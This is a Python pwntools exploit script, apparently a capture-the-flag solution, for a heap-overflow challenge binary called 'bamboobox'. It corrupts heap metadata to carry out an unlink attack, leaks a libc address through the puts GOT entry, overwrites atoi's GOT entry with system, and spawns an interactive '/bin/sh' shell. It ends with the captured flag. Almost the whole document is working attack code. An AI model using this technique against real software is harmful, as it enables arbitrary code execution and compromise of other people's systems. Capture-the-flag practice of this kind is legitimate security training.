#!/usr/bin/env python
from pwn import *

bamboobox = ELF('./bamboobox')
lib       = ELF('./libc.so.6-64')

# ANARY    : ENABLED
# FORTIFY   : disabled
# NX        : ENABLED
# PIE       : disabled
# RELRO     : Partial

# use unlink----------

def nomal_chunk(r):
    r.recvuntil('choice:')
    r.send('2\n')
    r.recvuntil('name:')
    r.send('144')
    r.recvuntil('item:')
    r.send('12')
    return 

def change_chunk(index,lenth,new_name):
    r.recvuntil('choice:')
    r.send('3\n')
    r.recvuntil('item:')
    r.send(str(index))
    r.recvuntil('name:')
    r.send(str(lenth))
    r.recvuntil('item:')
    r.send(new_name)
    return
    
def free_chunk(index):
    r.recvuntil('choice:')
    r.send('4\n')
    r.recvuntil('item:')
    r.send(str(index))
    return 
    
#r = remote('192.168.31.25',33001)
r = process('./bamboobox')
#r =  remote('140.113.209.24', 11005)
#print r.proc.pid


# Step 1: malloc four nomal chunk
num = 4
while num >= 0 :
    nomal_chunk(r)
    num -= 1

# Step 2: use index_0 overflow index_1(all) and index_2(chunk_header) and make fake chunk
payload_1 = ''
# data of index_0 and chunk_header of index_1
payload_1 += '\x00'*144 + '\x00'*16  
# cover data where point point to with fake chunk_header  
payload_1 += p64(0xb1) + p64(0x91)
# cover with fake fd & bk
payload_1 += p64(0x6020c0) + p64(0x6020c8)
# the rest of space in data
payload_1 += '\x00'* (0x90 - 0x10 - 0x10)
# fake chunk header of index_2
payload_1 += p64(0x90) + p64(0xa0)

a = raw_input('1')
change_chunk(0, 144+16+144+16, payload_1)
a = raw_input('2')

# Step 3: free index_2 to change data point of itemlistOf1 to point to itemlistOf0
free_chunk(2)
a = raw_input('3')

# Step 4: than we can use itemlistOf1 to make itemlistOf0 point to puts.got
change_chunk(1, 16, p64(0x90)+p64(bamboobox.got['puts']))

# Step 5: show_item to make itemlistOf0 call the function and leak address and calculate the address of system 
r.recvuntil('choice:')
r.send('1\n')
res = r.recvuntil('choice:')
add = res.split('\n')[2]
add = add.split('1 : ')[0].split('0 : ')[1]
add = u64(add + '\x00'*(8-len(add)))
r.send('1\n')

lib_sys_add = add - lib.symbols['puts'] + lib.symbols['system']

# Step 6: make itemlist[0] point to atoi.got
change_chunk(1,16,p64(0x90)+p64(bamboobox.got['atoi']))

# Step 7 : write system.got to atoi.got
r.recvuntil('choice')
r.send('3\n')
r.recvuntil('item:')
r.send('0')
r.recvuntil('name:')
r.send('8')
r.recvuntil('item:')
r.send(p64(lib_sys_add))

# Step 8 : input '/bin/sh' to execute  atoi(choicebuf) --> system('/bin/sh') 
r.recvuntil('choice:')
r.send('/bin/sh\n')

r.interactive()


#AD{h34p_0verfl0w_1s_p0pul4r}

